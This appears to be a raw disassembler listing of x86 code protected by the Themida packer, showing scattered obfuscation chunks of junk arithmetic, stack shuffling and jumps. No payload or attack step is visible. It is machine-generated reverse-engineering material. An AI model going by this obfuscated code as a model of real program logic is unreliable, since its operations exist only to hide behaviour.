; START OF FUNCTION CHUNK FOR sub_56264C
loc_561AEF: ; CODE XREF: sub_56264C+720Ej
sub eax, 24217B3Ch
sub eax, 49081E4Fh
sub eax, ebx
push ecx
mov ecx, 49081E4Fh
add eax, ecx
pop ecx
jmp loc_56B2B4
; END OF FUNCTION CHUNK FOR sub_56264C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5642C7
loc_561B09: ; CODE XREF: sub_5642C7-363Bj
and ebp, 147F3694h
xchg edi, ebp
not edi
xchg edi, ebp
jmp sub_56A608
; END OF FUNCTION CHUNK FOR sub_5642C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_561B1A: ; CODE XREF: sub_574F16-E9FDj
mov ecx, [esp+0Ch+var_E+2]
add esp, 4
mov cl, bl
pop ebx
jmp sub_56ADD8
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_561B28: ; CODE XREF: sub_5685B2-77FEj
add esp, 4
add ah, 10h
jmp loc_5665FC
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572669
loc_561B33: ; CODE XREF: sub_572669-AC14j
push 40A0h
mov [esp+4+var_4], edx
mov edx, 34C17704h
push ecx
mov ecx, 139D4989h
push edi
push ebx
mov ebx, 58D47706h
mov edi, ebx
pop ebx
jmp sub_566078
; END OF FUNCTION CHUNK FOR sub_572669
; =============== S U B R O U T I N E =======================================
sub_561B55 proc near ; CODE XREF: sub_562676+D587j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00561E89 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00572FAE SIZE 0000003A BYTES
sub esp, 4
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
pop ebp
add ebp, 4
push esi
push edx
jmp loc_561E89
sub_561B55 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DD54
loc_561B70: ; CODE XREF: sub_56DD54+16BDj
or ebp, 14AF45B8h
shr ebp, 2
or ebp, 5ED715F9h
sub ebp, 29AF68A3h
xor edx, ebp
jmp loc_565202
; END OF FUNCTION CHUNK FOR sub_56DD54
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_561B8C: ; CODE XREF: sub_563A7F+6B99j
pop ecx
pop ebx
push edx
mov dh, 14h
xor dh, 0E5h
and dh, 0C6h
jmp loc_570CF4
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57236D
loc_561B9C: ; CODE XREF: sub_57236D-48DBj
xor [esp+0], ecx
jmp loc_5666E4
; END OF FUNCTION CHUNK FOR sub_57236D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_561BA4: ; CODE XREF: sub_57549C-71Fj
pop esp
mov [esp+8+var_8], edx
push esp
jmp loc_56ED47
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_561BAE: ; CODE XREF: sub_574304-7A86j
add edx, eax
pop eax
xor edx, 4B2472Fh
mov ebp, edx
pop edx
add ebx, 3AD63844h
jmp loc_56D554
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B577
loc_561BC5: ; CODE XREF: sub_56B577+4D3Fj
xor edx, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
mov [esp+0], eax
mov eax, 4
sub ebp, 1F8E7AF4h
sub ebp, 6BE449Bh
add ebp, 35346307h
jmp loc_56B5C9
; END OF FUNCTION CHUNK FOR sub_56B577
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_561BEA: ; CODE XREF: sub_56E126+2AD0j
push esi
jmp loc_56D5FE
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563207
loc_561BF0: ; CODE XREF: sub_563207+685Ej
mov ebx, 4
add esi, ebx
jmp loc_56DE7F
; END OF FUNCTION CHUNK FOR sub_563207
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_561BFC: ; CODE XREF: sub_570E81-9D4Cj
mov esi, 43286BD6h
sub esi, 1ADC5122h
neg esi
shl esi, 8
inc esi
push ebx
mov ebx, 45F23952h
dec ebx
jmp loc_5687BC
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_561C19: ; CODE XREF: sub_563A7F+2EA8j
mov ecx, [esp+0Eh+var_10+2]
jmp loc_564B78
; END OF FUNCTION CHUNK FOR sub_563A7F
; =============== S U B R O U T I N E =======================================
sub_561C21 proc near ; CODE XREF: sub_56671D-355j
var_2 = byte ptr -2
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00569E33 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056A5D6 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056EC45 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00574BF5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00575150 SIZE 00000010 BYTES
push ebx
push edx
mov dl, 0C0h
mov bh, dl
jmp loc_569E33
sub_561C21 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_561C2C: ; CODE XREF: sub_572DD7-3366j
add esi, 4
jmp loc_5616DC
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
loc_561C37: ; CODE XREF: Themida_:0056CF6Dj
inc edi
push ebp
mov ebp, 6A47B60h
not ebp
jmp loc_5720E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_561C45: ; CODE XREF: sub_57549C-14B5j
mov edx, 4CA0596Eh
sub edi, edx
jmp loc_571652
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB51
loc_561C51: ; CODE XREF: sub_56AB51+8j
mov ecx, 0C336862h
shl ecx, 4
push esi
mov esi, 6728456Bh
and esi, 6304699Ch
sub esi, 97E55A9h
xor esi, 9AB76D43h
sub ecx, esi
pop esi
add eax, ecx
pop ecx
push 0A6Ah
mov [esp+8+var_8], edi
mov edi, 2
add eax, 6DC83961h
add eax, edi
push esi
mov esi, 33B03255h
neg esi
xor esi, 0A187F4CAh
sub esp, 4
mov [esp+10h+var_10], ecx
mov ecx, 476B4B30h
jmp loc_563D91
; END OF FUNCTION CHUNK FOR sub_56AB51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A75
loc_561CAC: ; CODE XREF: sub_569A75+8277j
add cl, 0Dh
sub al, cl
pop ecx
add al, 0A4h
add al, dh
sub al, 0A4h
add al, 4Dh
jmp loc_5719B6
; END OF FUNCTION CHUNK FOR sub_569A75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_561CBF: ; CODE XREF: sub_5620B7+77E8j
push edx
push 3D53h
mov [esp+18h+var_18], eax
pop edx
jmp loc_5707E2
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568CD2
loc_561CCE: ; CODE XREF: sub_568CD2-76B4j
push ecx
jmp sub_564020
; END OF FUNCTION CHUNK FOR sub_568CD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_561CD4: ; CODE XREF: sub_574A21-DB36j
sub eax, 54C25627h
sub eax, ebx
add eax, 54C25627h
add eax, 15D92143h
push edx
mov edx, 78042C51h
shr edx, 5
or edx, 1526116Ch
xor edx, 5DF43DC2h
sub eax, 28166867h
add eax, edx
push edi
mov edi, 4AB11721h
shl edi, 7
shl edi, 2
sub edi, 31544C47h
sub edi, 55AA23B6h
or edi, 332D63A3h
sub edi, 0D3198B3Ch
add eax, edi
pop edi
pop edx
add eax, 105D1C48h
jmp loc_568CB3
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F782
loc_561D33: ; CODE XREF: sub_56F782-5F95j
add ebp, 4
jmp loc_56727C
; END OF FUNCTION CHUNK FOR sub_56F782
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D0B7
loc_561D3E: ; CODE XREF: sub_56D0B7+771Bj
pop eax
or eax, 0E56545Dh
xor eax, 5E767459h
add ebp, eax
jmp loc_571759
; END OF FUNCTION CHUNK FOR sub_56D0B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_561D50: ; CODE XREF: sub_564D26+AC14j
neg edi
push ebp
mov ebp, 13602238h
add edi, 412C404Ch
sub edi, ebp
sub edi, 412C404Ch
jmp loc_570DCB
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561F05
loc_561D6B: ; CODE XREF: sub_561F05+7320j
push 1E42h
mov [esp+4+var_4], edi
mov edi, esp
push 6C3Ch
jmp loc_5674FE
; END OF FUNCTION CHUNK FOR sub_561F05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_561D7F: ; CODE XREF: sub_570732-79EBj
push 5043h
jmp loc_5647FD
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_561D89: ; CODE XREF: sub_56BD44-932Fj
add eax, edi
sub eax, 8EB5816h
jmp loc_561256
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571289
loc_561D95: ; CODE XREF: sub_571289-8514j
mov edx, eax
pop eax
jmp loc_5628DF
; END OF FUNCTION CHUNK FOR sub_571289
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747FA
loc_561D9D: ; CODE XREF: sub_5747FA-8B5j
or ebp, 37766B65h
shr ebp, 7
add ebp, 7C1700DBh
jmp loc_56070A
; END OF FUNCTION CHUNK FOR sub_5747FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_561DB1: ; CODE XREF: sub_5713A7-7C3Aj
xchg edi, [esp+0Ch+var_C]
pop esp
mov edx, [esp+8+var_8]
sub esp, 4
mov [esp+0Ch+var_C], ebp
jmp loc_5656F5
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A423
loc_561DC3: ; CODE XREF: sub_56A423+1E89j
push esi
mov esi, 6A612BA8h
or esi, 7ADC707Eh
xor esi, 0F7E3C873h
mov edx, esi
jmp loc_574C67
; END OF FUNCTION CHUNK FOR sub_56A423
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572669
loc_561DDC: ; CODE XREF: sub_572669-2BB5j
push edx
mov edx, 8A16AE3h
add edx, 9793F9BCh
mov ebx, edx
pop edx
jmp loc_56F8C9
; END OF FUNCTION CHUNK FOR sub_572669
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568646
loc_561DF0: ; CODE XREF: sub_568646+6FD4j
push 2229h
mov [esp+0], edx
jmp loc_56EC69
; END OF FUNCTION CHUNK FOR sub_568646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_561DFD: ; CODE XREF: sub_571F6F+322j
add esp, 4
add eax, ecx
pop ecx
sub eax, 4
push 1F9Ch
mov [esp+8+var_8], eax
push [esp+8+var_4]
pop eax
pop [esp+8+var_8]
pop esp
mov [esp+0], eax
push esp
pop eax
add eax, 4
push edi
mov edi, 193A2EA8h
jmp loc_572750
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DFE
loc_561E2F: ; CODE XREF: sub_566DFE+C611j
add esp, 4
and edi, 3E0229B3h
jmp loc_572864
; END OF FUNCTION CHUNK FOR sub_566DFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_561E3D: ; CODE XREF: sub_56616D+F0EFj
and ecx, esi
jmp loc_5659B8
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560056
loc_561E44: ; CODE XREF: sub_560056+F8CDj
add eax, edi
pop edi
xor eax, [esp+10h+var_10]
xor [esp+10h+var_10], eax
xor eax, [esp+10h+var_10]
mov esp, [esp+10h+var_10]
pop esi
push ebx
sub esp, 4
mov [esp+4+var_4], edi
pop ebx
jmp sub_561027
; END OF FUNCTION CHUNK FOR sub_560056
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_561E61: ; CODE XREF: sub_5685B2-4C15j
sub ebp, 66756B4Bh
jmp loc_5653FC
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_561E6C: ; CODE XREF: sub_561418+4E27j
mov [esp+8+var_8], ebp
jmp loc_5751D7
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD36
loc_561E74: ; CODE XREF: sub_56BD36+6406j
xor ebx, [esp+4+var_4]
mov esp, [esp+4+var_4]
mov eax, esi
pop esi
jmp loc_56F343
; END OF FUNCTION CHUNK FOR sub_56BD36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_561E82: ; CODE XREF: sub_57354D-210j
pop esi
xchg eax, esi
jmp loc_571BB1
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561B55
loc_561E89: ; CODE XREF: sub_561B55+16j
mov edx, 480F0512h
inc edx
shl edx, 7
neg edx
neg edx
sub edx, 782897Ch
mov esi, edx
pop edx
add ebp, esi
pop esi
xchg ebp, [esp+0]
pop esp
push edi
mov edi, 12B1255Ch
push eax
mov eax, 446E2443h
or edi, eax
pop eax
jmp loc_572FAE
; END OF FUNCTION CHUNK FOR sub_561B55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_561EBA: ; CODE XREF: sub_570CE4-C90Bj
sub eax, esi
push dword ptr [esp+0]
pop esi
add esp, 4
push ebx
push esi
mov esi, 470A7F77h
shr esi, 7
inc esi
push ebp
mov ebp, 33B1731Dh
jmp loc_573840
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_561ED9: ; CODE XREF: sub_574A21-CA82j
xor ecx, edx
pop edx
xor ecx, 739E4720h
xchg edi, ecx
not edi
xchg edi, ecx
add ecx, 0C0A29FF6h
jmp loc_562906
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FCD7
loc_561EF3: ; CODE XREF: sub_56FCD7-922Cj
push [esp+8+var_4]
pop edx
jmp loc_565502
; END OF FUNCTION CHUNK FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_561EFD: ; CODE XREF: sub_570732+48j
mov [esp+0], ebp
jmp loc_56226F
; END OF FUNCTION CHUNK FOR sub_570732
; =============== S U B R O U T I N E =======================================
sub_561F05 proc near ; DATA XREF: Themida_:0055FEA4o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056142A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561D6B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005640D6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005651AD SIZE 00000045 BYTES
; FUNCTION CHUNK AT 00566B2C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005674FE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00567FAC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569215 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056B7E1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056BA56 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F0B9 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056F48C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056FB1B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056FD40 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00571108 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 00571482 SIZE 0000000D BYTES
push dword ptr [esp+0]
pop eax
push ebp
mov ebp, esp
push esi
mov esi, 71A570B9h
neg esi
add esi, 1313353Dh
jmp loc_56142A
sub_561F05 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_561F1F: ; CODE XREF: sub_56B1DC+22D7j
xor ebp, 30E9010Bh
pop esi
sub esi, ebp
mov ebp, [esp+0Ch+var_C]
jmp loc_566EFE
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_561F30: ; CODE XREF: sub_5685B2+8310j
push [esp+10h+var_C]
pop eax
jmp loc_56C0AB
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A608
loc_561F3A: ; CODE XREF: sub_56A608+1A08j
mov esi, [esp-4+arg_0]
add esp, 4
xor edx, eax
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56A608
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_561F4A: ; CODE XREF: sub_56B11B+6477j
pop esi
mov ecx, eax
push [esp+8+var_8]
mov eax, [esp+0Ch+var_C]
add esp, 4
add esp, 4
and eax, ecx
push [esp+4+var_4]
mov ecx, [esp+8+var_8]
add esp, 4
push 6FD5h
mov [esp+8+var_8], ecx
mov ecx, esp
push ebp
push ecx
mov ecx, 54F0CE2h
mov ebp, 54F0CE6h
xor ebp, ecx
pop ecx
add ecx, ebp
pop ebp
push esi
push 4
mov esi, [esp+10h+var_10]
add esp, 4
add ecx, esi
jmp loc_569E4B
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5606E3
loc_561F9C: ; CODE XREF: sub_5606E3+3C19j
add esp, 4
jmp loc_56CCB7
; END OF FUNCTION CHUNK FOR sub_5606E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_561FA4: ; CODE XREF: sub_564D26+1C4Fj
mov eax, edx
pop edx
add [esp+0Ch+var_8], 2D1D6AF0h
jmp loc_57275F
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5754DA
loc_561FB4: ; CODE XREF: sub_5754DA-46CBj
add esp, 4
add al, 5Ch
sub al, 0E0h
add al, bl
push ecx
mov ch, 79h
add ch, 67h
add al, ch
pop ecx
push 44BEh
jmp loc_5717B7
; END OF FUNCTION CHUNK FOR sub_5754DA
; ---------------------------------------------------------------------------
loc_561FD3: ; CODE XREF: Themida_:005685D3j
mov edx, [esp]
add esp, 4
push edi
push dword ptr [esp+4]
push dword ptr [esp]
pop edi
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_568B70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_561FF0: ; CODE XREF: sub_57354D-BB62j
inc edx
not edx
sub edx, 0B3C0D47Fh
add edi, edx
mov edx, [esp+0Ch+var_C]
add esp, 4
push ebp
jmp loc_56E4A6
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_562007: ; CODE XREF: sub_56BD44-62CFj
mov [esp+0Ch+var_C], ecx
push [esp+0Ch+var_8]
pop ecx
pop [esp+0Ch+var_C]
jmp loc_562A0F
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_562017: ; CODE XREF: sub_5620B7+11B6Fj
add ebp, esi
pop esi
sub ebp, 4
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
jmp loc_560514
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C38F
loc_56202E: ; CODE XREF: sub_56C38F+8D4Aj
push eax
mov eax, 3F877D40h
sub eax, 7DE70520h
xor eax, 0DC50B9Fh
jmp loc_56CB55
; END OF FUNCTION CHUNK FOR sub_56C38F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568646
loc_562043: ; CODE XREF: sub_568646-B31j
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop [esp+4+var_4]
pop esp
jmp loc_572512
; END OF FUNCTION CHUNK FOR sub_568646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_562060: ; CODE XREF: sub_561418+11843j
add ebp, 4
xchg ebp, [esp+8+var_8]
mov esp, [esp+8+var_8]
add esp, 4
or ebx, ebx
jnz loc_56BD4C
push ecx
sub esp, 4
mov [esp+0Ch+var_C], esp
sub esp, 4
mov [esp+10h+var_10], edi
jmp loc_566484
; END OF FUNCTION CHUNK FOR sub_561418
; =============== S U B R O U T I N E =======================================
sub_56208F proc near ; CODE XREF: sub_56E05C-BF01j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00569EBD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BBE3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00573C94 SIZE 00000009 BYTES
sub esp, 4
jmp loc_569EBD
sub_56208F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747D7
loc_562097: ; CODE XREF: sub_5747D7-2D5Bj
xchg eax, [esp+4+var_4]
pop esp
shr eax, 0Bh
xor ecx, eax
push 111Ch
mov [esp+4+var_4], ebx
xor [esp+4+var_4], 28E90DACh
mov eax, [esp+4+var_4]
jmp loc_5732AC
; END OF FUNCTION CHUNK FOR sub_5747D7
; =============== S U B R O U T I N E =======================================
sub_5620B7 proc near ; CODE XREF: sub_569A75+7F47j
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_E = byte ptr -0Eh
var_A = dword ptr -0Ah
var_6 = dword ptr -6
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00560156 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00560514 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00560E40 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00561557 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00561CBF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00562017 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00562FBB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00563733 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005653D3 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005655A0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565DDB SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00566151 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056640D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005669EA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056738C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005673B3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00568B06 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568C75 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056989A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A82B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056B0E7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056BD74 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056E434 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056ED11 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056FB51 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570330 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005707E2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570955 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005710FC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00571B0D SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00571D33 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00572391 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0057389D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00573C20 SIZE 0000000B BYTES
push ebx
mov bh, 0C5h
jmp loc_5673B3
sub_5620B7 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0CB
loc_5620BF: ; CODE XREF: sub_56E0CB+49D0j
shl ebx, 8
sub ebx, 0FF97FA97h
sub ecx, ebx
push [esp+4+var_4]
pop ebx
add esp, 4
add ecx, ebx
add ecx, 660569h
push dword ptr [esp+0]
jmp loc_56AE62
; END OF FUNCTION CHUNK FOR sub_56E0CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1F0
loc_5620E1: ; CODE XREF: sub_56F1F0-C8A1j
add esp, 4
push 56BDh
mov [esp+0], ecx
mov ecx, 6FEA4BA0h
add edi, ecx
pop ecx
jmp sub_5696A1
; END OF FUNCTION CHUNK FOR sub_56F1F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_5620FC: ; CODE XREF: sub_56BD44-B835j
mov eax, 67C55F46h
xor eax, 27AF737Eh
jmp loc_5673DD
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_56210B: ; CODE XREF: sub_5738F4-E2D9j
mov [esp+0], edi
mov edi, 5A407FAFh
inc edi
shr edi, 8
jmp loc_572CB5
; END OF FUNCTION CHUNK FOR sub_5738F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_56211C: ; CODE XREF: sub_566C83+1E68j
push [esp+4+var_4]
pop eax
jmp loc_5668FA
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_562125: ; CODE XREF: sub_56241E+1153Bj
add bx, 792Eh
sub ax, bx
pop ebx
pop edx
push edx
push eax
mov ax, 3807h
not ax
inc ax
add ax, 7A84h
jmp loc_56B879
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BC97
loc_562143: ; CODE XREF: sub_56BC97-B3Dj
pop esp
mov [esp+0], edx
mov edx, esp
push edx
mov edx, esp
jmp loc_570066
; END OF FUNCTION CHUNK FOR sub_56BC97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E05C
loc_562151: ; CODE XREF: sub_56E05C-16D1j
pop esi
add esi, 4
add esi, 2
jmp sub_56208F
; END OF FUNCTION CHUNK FOR sub_56E05C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_562160: ; CODE XREF: sub_561418+7F68j
or edx, 3EC139CDh
dec edx
xor edx, 38CF7229h
add ecx, edx
jmp loc_57546A
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_562174: ; CODE XREF: sub_56AEF2-6A34j
mov edi, 450D4FC3h
add edi, 5BBA5014h
sub edi, ebp
sub edi, 5BBA5014h
pop ebp
sub eax, edi
pop edi
jmp loc_56F55A
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563207
loc_562190: ; CODE XREF: sub_563207+40D9j
mov ebx, 6DED1F0Fh
sub eax, ebx
pop ebx
jmp loc_569867
; END OF FUNCTION CHUNK FOR sub_563207
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C3E2
loc_56219D: ; CODE XREF: sub_56C3E2+4C9Aj
mov edx, [esp+4+var_4]
add esp, 4
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
mov esp, [esp+0]
idiv ecx
push 348Fh
mov [esp-8+arg_4], edx
push eax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56C3E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574AF3
loc_5621C0: ; CODE XREF: sub_574AF3-9B8Dj
pop esp
jmp loc_56914F
; END OF FUNCTION CHUNK FOR sub_574AF3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_5621C6: ; CODE XREF: sub_567D31-4683j
push eax
push edi
push 50920E97h
pop edi
shl edi, 5
xor edi, 990E780Ah
mov eax, edi
pop edi
jmp loc_562F11
